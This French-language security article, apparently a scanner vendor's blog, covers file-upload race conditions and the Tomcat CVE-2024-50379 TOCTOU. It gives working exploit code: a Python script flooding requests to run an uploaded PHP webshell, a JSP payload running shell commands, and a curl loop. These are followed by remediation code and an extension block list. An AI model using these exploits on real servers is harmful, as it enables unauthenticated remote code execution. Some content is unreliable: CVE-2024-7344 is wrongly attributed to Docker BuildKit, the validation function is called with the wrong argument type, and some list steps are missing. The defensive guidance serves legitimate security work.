Race condition upload (CWE-362) : fichier malveillant accessible entre l'upload et la validation — exécution possible durant la fenêtre TOCTOU avant suppression.
TL;DR
Une race condition d'upload de fichier survient quand une application web stocke temporairement un fichier uploadé dans un emplacement web-accessible avant de terminer la validation ou de le déplacer vers sa destination finale. Pendant l'intervalle entre stockage et validation/suppression, le fichier existe à une URL prévisible. Si l'attaquant envoie des requêtes vers cette URL plus vite que l'application termine sa validation, il peut accéder ou exécuter le fichier avant qu'il soit traité ou supprimé.
La vulnérabilité existe parce que la plupart des implémentations d'upload suivent une séquence en trois étapes : (1) recevoir et sauvegarder le fichier, (2) valider (type, contenu, scan AV), (3) agir sur le résultat (déplacer vers destination finale ou supprimer). Les étapes 1 et 2-3 ne sont pas atomiques — l'étape 1 écrit sur disque avant que le résultat de validation soit connu. L'écart entre étape 1 et étape 3 est la fenêtre de race.
Apache Tomcat CVE-2024-50379 est l'exemple le plus impactant récemment, atteignant CVSS 9.8 et RCE non authentifié via une variante TOCTOU filesystem de ce pattern.
La fenêtre de race d'upload classique :
1. Client uploade shell.php via POST /upload
2. Serveur écrit shell.php dans /var/www/html/uploads/tmp/shell.php ← FICHIER EXISTE ICI
3. Serveur valide : type MIME ? Extension ? Scan antivirus ?
4. Serveur supprime /var/www/html/uploads/tmp/shell.php ← FICHIER DISPARUEntre les étapes 2 et 4, https://target.com/uploads/tmp/shell.php retourne le webshell. Durée de fenêtre : 1ms à plusieurs secondes selon le pipeline de validation (scan AV ajoute 500ms–5s).
# Race upload classique — flood requêtes GET pendant l'upload
import asyncio, httpx
async def upload_race_exploit(target: str, upload_url: str, expected_path: str,
webshell: bytes, session_headers: dict):
async with httpx.AsyncClient(http2=True, verify=False) as client:
upload_task = client.post(upload_url,
files={"file": ("shell.php", webshell, "application/x-php")},
headers=session_headers)
flood_tasks = [
client.get(f"{target}/{expected_path}", headers=session_headers)
for _ in range(200)
]
results = await asyncio.gather(upload_task, *flood_tasks, return_exceptions=True)
for r in results[1:]:
if not isinstance(r, Exception) and r.status_code == 200:
if "uid=" in r.text or "root" in r.text:
return {"rce_confirme": True, "sortie": r.text[:200]}
return {"rce_confirme": False}La variante TOCTOU Tomcat (CVE-2024-50379) exploite la même fenêtre upload-puis-compile mais race deux uploads contre la vérification d'extension insensible à la casse de Tomcat :
# CVE-2024-50379 — TOCTOU JSP Tomcat via uploads concurrents
async def tomcat_jsp_race(target: str, upload_url: str, cmd: str = "id"):
jsp_payload = f"""<%@ page import="java.io.*" %><%
Process proc = Runtime.getRuntime().exec(new String[]{{"/bin/sh","-c","{cmd}"}});
new java.util.Scanner(proc.getInputStream()).useDelimiter("\\\\A").forEachRemaining(out::print);
%>""".encode()
async with httpx.AsyncClient(http2=True, verify=False) as client:
await client.get(target + "/")
t1 = client.post(upload_url, files={"file": ("payload.txt", b"benin", "text/plain")})
t2 = client.post(upload_url, files={"file": ("PAYLOAD.JSP", jsp_payload, "application/x-jsp")})
await asyncio.gather(t1, t2)
rce = await client.get(target + "/payload.jsp")
return rce.text| Variante | Mécanisme | Fenêtre de race | CVE |
|---|---|---|---|
| Upload-puis-execute | Upload webshell, GET avant suppression | 1ms–5s | Générique (plugins CMS) |
| Vérification TOCTOU d'extension | Uploads à casse variante vers même chemin | Temps de traitement upload | CVE-2024-50379 (Tomcat) |
| Race de lien symbolique | Remplacer fichier par symlink après vérif stat | Microsecondes | CVE-2024-7344 (Docker) |
| Bypass scan antivirus | Exécuter pendant scan avant suppression | Durée scan (500ms–30s) | Générique intégration AV |
| Symlink dans archive | Symlink extrait avant vérification de chemin | Temps d'extraction | Classe Zip Slip |
Le bypass de scan antivirus est la variante avec la fenêtre la plus large. Les applications qui lancent des scans AV sur les fichiers uploadés créent une fenêtre de plusieurs secondes. Un webshell dans la file de scan peut être exécuté via GET pendant la durée du scan.
CVE-2024-50379 + CVE-2024-56337 — Apache Tomcat (CVSS 9.8)
TOCTOU de compilation JSP sur filesystem insensible à la casse. Uploads concurrents de FILE.JSP et file.txt vers le même chemin logique — la vérification d'extension voit .txt mais la compilation exécute du bytecode JSP. GET /file.jsp obtient RCE avec les privilèges du service Tomcat — non authentifié, aucun accès préalable requis. CVE-2024-56337 était un correctif incomplet. Corrigé dans Tomcat 11.0.2 / 10.1.34 / 9.0.98.
CVE-2024-7344 — Docker Buildkit Symlink TOCTOU (CVSS 7.0) L'exécuteur BuildKit de Docker vérifiait si un chemin pointait vers un fichier régulier avant traitement. Un attaquant avec accès au contexte de build pouvait racer la création d'un lien symbolique contre la vérification, causant l'accès à des fichiers hors du contexte prévu — escape de conteneur dans les environnements Docker-in-Docker.
Race Upload CMS Plugin (Générique) Les handlers d'upload des plugins WordPress, Joomla et Drupal écrivent fréquemment dans le webroot d'abord, puis valident. Les chercheurs ont documenté des fenêtres de race allant de 5ms (vérification MIME simple) à 3 secondes (intégration scan AV). Un webshell déguisé en image, exploité pendant la fenêtre de scan, obtient RCE sur la plateforme CMS.
Classe Zip Slip (Multiples CVEs)
La classe de vulnérabilité Zip Slip (identifiée par Snyk en 2018) permet à des entrées d'archive avec des chemins comme ../../../../etc/cron.d/backdoor d'écrire hors du répertoire d'extraction. La variante TOCTOU ajoute un lien symbolique dans l'archive : l'extracteur vérifie le chemin cible, le symlink est placé, et l'écriture de fichier suivante suit le symlink vers un chemin arbitraire.
/uploads/tmp/.Pour le TOCTOU Tomcat (classe CVE-2024-50379) :
.txt bénin et un fichier .JSP weaponized avec le même nom de base insensible à la casse./filename.jsp — si exécution, TOCTOU confirmé.# Race-the-upload : upload concurrent + flood GET vers chemin prédit
UPLOAD_RESP=$(curl -s -X POST https://target.com/upload \
-F "file=@shell.php" -H "Cookie: session=$SESSION")
TMP_PATH=$(echo $UPLOAD_RESP | jq -r '.tmp_path')
for i in $(seq 1 500); do
curl -s "https://target.com/${TMP_PATH}" -H "Cookie: session=$SESSION" &
done
waitBreachVex détecte les races d'upload via plusieurs techniques complémentaires : fingerprinting des endpoints d'upload, identification des patterns write-to-webroot via les headers de réponse (divulgation de chemin dans 201 Created), et racing de requêtes GET contre des chemins prédits. La détection des TOCTOU Tomcat utilise des paires d'uploads HTTP/2 concurrents avec noms de fichiers à casse variante.
# VULNÉRABLE : upload vers webroot — fichier accessible à /uploads/tmp/shell.php
UPLOAD_DIR = "/var/www/html/uploads/tmp"
# CORRIGÉ : upload vers répertoire temp non-web-accessible
TEMP_DIR = "/tmp/uploads" # PAS dans le webroot
FINAL_DIR = "/var/www/html/files" # Destination finale web-accessible
async def handle_upload(file: UploadFile) -> str:
with tempfile.NamedTemporaryFile(dir=TEMP_DIR, delete=False, suffix=".tmp") as tmp:
content = await file.read()
tmp.write(content)
tmp_path = tmp.name
# Valider (type MIME, extension, scan AV, octets magiques)
if not is_safe_file(tmp_path, file.filename):
os.unlink(tmp_path)
raise HTTPException(400, "Type de fichier dangereux rejeté")
# Nom sécurisé (aucune composante contrôlée par l'utilisateur)
safe_name = f"{uuid.uuid4()}{get_safe_extension(file.filename)}"
final_path = Path(FINAL_DIR) / safe_name
# Déplacement atomique — source temp non web-accessible
shutil.move(tmp_path, final_path)
return str(final_path)ALLOWED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp", ".pdf"}
BLOCKED_EXTENSIONS = {".php", ".jsp", ".asp", ".aspx", ".py", ".rb", ".pl", ".sh"}
import magic # python-magic
def is_safe_file(content: bytes, original_filename: str) -> bool:
# Allowlist par type MIME depuis octets magiques (pas depuis extension ou Content-Type)
detected_mime = magic.from_buffer(content, mime=True)
if detected_mime not in {"image/jpeg", "image/png", "image/gif", "application/pdf"}:
return False
# Rejeter les doubles extensions (shell.php.jpg)
stem = Path(original_filename).stem
if any(stem.lower().endswith(ext) for ext in BLOCKED_EXTENSIONS):
return False
return True# nginx — désactiver l'exécution PHP dans les répertoires d'upload
location /uploads/ {
location ~* \.php$ {
return 403;
}
add_header X-Content-Type-Options "nosniff";
}<!-- Apache — désactiver PHP dans uploads -->
<Directory "/var/www/html/uploads">
php_admin_flag engine Off
Options -ExecCGI
AddType text/plain .php .php3 .phtml .pht
</Directory>Les scanners antivirus ajoutent la plus grande fenêtre de race (500ms–30s par fichier) mais fournissent zéro protection si l'attaquant gagne la race avant la fin du scan. La seule défense fiable est d'uploader vers un répertoire non-web-accessible en premier. Scanner avant déplacement est correct ; scanner au chemin web-accessible est la vulnérabilité.
Une race condition d'upload de fichier survient quand une application web sauvegarde un fichier uploadé dans un emplacement accessible publiquement, puis le valide ou le traite dans une étape séparée. Entre l'upload-complet et la suppression/déplacement hors du webroot, le fichier existe à une URL prévisible. Un attaquant race une requête vers cette URL pendant la fenêtre. Si le fichier est un webshell (.php, .jsp, .aspx), l'exécution survient avant la suppression.
CVE-2024-50379 dans Apache Tomcat (CVSS 9.8) exploite un TOCTOU filesystem sur les systèmes de fichiers insensibles à la casse. Deux uploads concurrents vers le même chemin logique — FILE.JSP (weaponized) et file.txt (bénin) — créent une race où la vérification d'extension de Tomcat voit .txt mais l'étape de compilation JSP traite le contenu JSP qui a gagné la course d'écriture. Résultat : RCE non authentifié via GET /file.jsp.
La race d'upload classique : une application sauvegarde le fichier uploadé dans un chemin web-accessible (ex. /uploads/tmp/shell.php), puis valide le type de fichier, puis supprime ou déplace les fichiers non-PHP. Entre la sauvegarde et la suppression, le fichier PHP existe à /uploads/tmp/shell.php pendant 1 à 50ms. Un attaquant envoie des centaines de GET /uploads/tmp/shell.php pendant l'upload, finissant par toucher la fenêtre.
Un TOCTOU de lien symbolique remplace un fichier régulier par un lien symbolique après que l'application vérifie que le chemin est un fichier régulier (vérification stat) mais avant qu'elle lise le contenu. Si l'application suit le lien symbolique, elle lit la cible au lieu du fichier attendu. Dans Docker BuildKit (CVE-2024-7344), cela permettait de lire des fichiers hors du contexte de build.
La durée de la fenêtre de race dépend du pipeline de validation : vérification MIME/extension simple — 1–5ms ; validation par octets magiques via libmagic — 5–20ms ; scan antivirus (ClamAV, Defender) — 500ms à 30 secondes par fichier ; API AV cloud (VirusTotal, AWS Macie) — 1–15 secondes d'aller-retour réseau. La fenêtre de scan AV est la plus exploitable : un webshell placé dans une file de scan peut être demandé des milliers de fois pendant un scan ClamAV de 5 secondes. Pour le TOCTOU filesystem Tomcat CVE-2024-50379, la fenêtre est le temps de compilation JSP — typiquement 50–200ms au premier compile.
Les frameworks PHP avec move_uploaded_file() vers le webroot sont les plus souvent affectés — la fonction écrit directement vers la destination avant que toute validation ne s'exécute. Les handlers d'upload de plugins WordPress sont particulièrement vulnérables car les auteurs de plugins contournent le stockage temp hors-webroot par défaut. Les serveurs Java (Tomcat, JBoss) sur Windows/macOS sont vulnérables à la classe CVE-2024-50379 en raison des systèmes de fichiers insensibles à la casse. Python/Flask et Django sont moins fréquemment affectés car les deux écrivent par défaut les uploads dans /tmp (hors-webroot), bien qu'un MEDIA_ROOT mal configuré pointant vers un chemin web-accessible introduise la vulnérabilité.
Quand une application uploade un fichier dans le webroot et le met en file pour scan antivirus avant suppression, le fichier est web-accessible pendant toute la durée du scan. Un attaquant uploade un webshell PHP déguisé en image.jpg et commence immédiatement à sonder GET /uploads/image.jpg à haute fréquence. Le scanner AV traite la file séquentiellement — si 50 fichiers sont en attente, l'attaquant dispose du temps de scan cumulé de tous les 50 fichiers (potentiellement des minutes) pour racer des requêtes GET. Sur le GET qui touche la fenêtre, le serveur exécute le fichier PHP et retourne la sortie de commande.
O_NOFOLLOW est un flag POSIX open() qui fait échouer l'appel avec ELOOP si le dernier composant du chemin est un lien symbolique. Sans O_NOFOLLOW, un attaquant peut racer un remplacement par symlink entre la vérification stat() (qui voit un fichier régulier) et l'appel open() (qui suit le symlink vers un chemin arbitraire). Avec O_NOFOLLOW, l'appel open() échoue si le chemin est un symlink au moment de l'appel. En Python : os.open(path, os.O_RDONLY | os.O_NOFOLLOW). En Go : syscall.O_NOFOLLOW. C'est la défense correcte au niveau OS contre le TOCTOU de symlink.
Non. Les headers de réponse Content-Type et Content-Disposition définis par le handler d'upload ne préviennent pas l'exécution côté serveur. Un fichier PHP servi avec Content-Type: text/plain s'exécutera quand même sur le serveur si PHP-FPM ou mod_php traite ce chemin. Les headers affectent la façon dont le navigateur affiche la réponse, pas si le serveur exécute le fichier. Les seules défenses qui préviennent l'exécution sont : (1) ne jamais écrire des types de fichiers dangereux dans le webroot — rejeter avant écriture ou écrire uniquement dans un temp hors-webroot ; (2) désactiver l'exécution de scripts dans le répertoire d'upload via un bloc location nginx ou une directive Apache <Directory> ; (3) supprimer et régénérer les noms de fichiers côté serveur pour que les extensions .php n'atteignent jamais le webroot.